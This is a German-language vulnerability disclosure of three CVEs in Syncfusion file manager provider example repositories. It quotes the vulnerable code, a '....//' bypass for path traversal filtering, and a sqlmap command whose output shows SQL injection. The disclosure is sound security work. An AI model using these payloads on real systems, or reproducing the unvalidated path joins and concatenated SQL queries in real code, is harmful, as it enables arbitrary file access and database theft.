
Technische Offenlegung von drei CVEs (2023-26563-26565), die lokale Dateiauslese, Verzeichnisnavigation und SQL-Injection-Schwachstellen in Syncfusion-Dateimanager-Anbietern mit Proof-of-Concept-Exploit-Code detailliert beschreibt.
Der Hersteller hat Berichten zufolge alle Schwachstellen mit den Releases nach 2024 behoben. Ruptura InfoSecurity hat nicht bestätigt, dass diese Korrekturen vollständig sind.
Siehe Herstellerkommentare unter https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1.
Betroffenes Repository: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Verwundbare Versionen vor Git-Commit 7c8791084ff86d4a2c225756c490591f6e011a6c
Die Anwendung überprüft keine der vom Benutzer bereitgestellten Pfade. Daher ist es möglich, Verzeichnis-Traversierungs-Sequenzen ("../") anzugeben, um Dateien in jedem Verzeichnis aufzulisten, jede lokale Datei zu lesen, jede Datei an einen beliebigen Ort auf dem Server hochzuladen und jede Datei auf dem Server zu löschen.
Im ASP-Core-Repository wird der größte Teil der eigentlichen Funktionalität in Models/PhysicalFileProvider.cs implementiert.
Beim Herunterladen wird der Parameter names direkt aus der Benutzereingabe in der Anforderung übernommen.
public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
{
try
{
string physicalPath = GetPath(path);
String extension;
int count = 0;
...
if (names.Length > 1)
DownloadZip(path, names);
if (count == names.Length)
{
DownloadFile(path, names);
}
Dieser Pfad wird dann direkt in der Path.combine-Funktion verwendet.
protected virtual void DownloadFile(string path, string[] names = null)
{
if (!string.IsNullOrEmpty(path))
{
try
{
path = (Path.Combine(contentRootPath + path, names[0]));
HttpResponse response = HttpContext.Current.Response;
response.Buffer = true;
response.Clear();
response.ContentType = "APPLICATION/octet-stream";
string extension = System.IO.Path.GetExtension(path);
response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
response.WriteFile(path);
response.Flush();
response.End();
}
catch (Exception ex) { throw ex; }
}
else throw new ArgumentNullException("name should not be null");
}
Bei den meisten Endpunkten wurde versucht, dies zu beheben, indem ../ entfernt wurde, aber dies kann trivial umgangen werden, indem etwas wie ....// verwendet wird, was nach .replace("../", "") zum ursprünglichen ../ führt.
Betroffenes Repository: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Verwundbare Versionen vor Git-Commit 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6
Während die Anwendung einen regulären Ausdruck enthält, um Verzeichnis-Traversierungs-Sequenzen zu blockieren, tut sie dies nur manchmal. Infolgedessen:
Im Node-Repository wird die gesamte Funktionalität in einer einzigen Datei angeboten: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js
Beim Herunterladen von Dateien ist die Ursache ziemlich selbsterklärend, da die Anwendung der Benutzereingabe vertraut, wenn sie die Dateipfade zusammenfügt:
/**
* Download a file or folder
*/
app.post('/Download', function (req, res) {
replaceRequestParams(req, res);
var downloadObj = JSON.parse(req.body.downloadInput);
var permission; var permissionDenied = false;
downloadObj.data.forEach(function (item) {
var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
if (permission != null && (!permission.read || !permission.download)) {
permissionDenied = true;
var errorMsg = new Error();
errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
errorMsg.code = "401";
response = { error: errorMsg };
response = JSON.stringify(response);
res.setHeader('Content-Type', 'application/json');
res.json(response);
}
});
if (!permissionDenied) {
if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
var file = contentRootPath + downloadObj.path + downloadObj.names[0];
res.download(file);
} else {
var archive = archiver('zip', {
gzip: true,
zlib: { level: 9 } // Sets the compression level.
});
var output = fs.createWriteStream('./Files.zip');
downloadObj.data.forEach(function (item) {
archive.on('error', function (err) {
throw err;
});
if (item.isFile) {
archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
}
else {
archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
}
});
Betroffenes Repository: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Verwundbare Versionen vor Git-Commit d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6
Im SQL-Server-Repository wird der größte Teil der eigentlichen Funktionalität in Models/SQLFileProvider.cs implementiert.
Die SQL-Injection ist ziemlich standardmäßig und häufig im betroffenen Repository vorhanden und kann mit einem einfachen sqlmap-Befehl ausgenutzt werden:
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:31:52 /2023-04-03/
[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
Beispiele für verwundbare Code-Ausschnitte:
try
{
SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
try
{
SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}
SQL-Injection führt zu vollständigem Lesezugriff auf die Datenbank, abhängig von den Berechtigungen, die für das Benutzerkonto konfiguriert sind.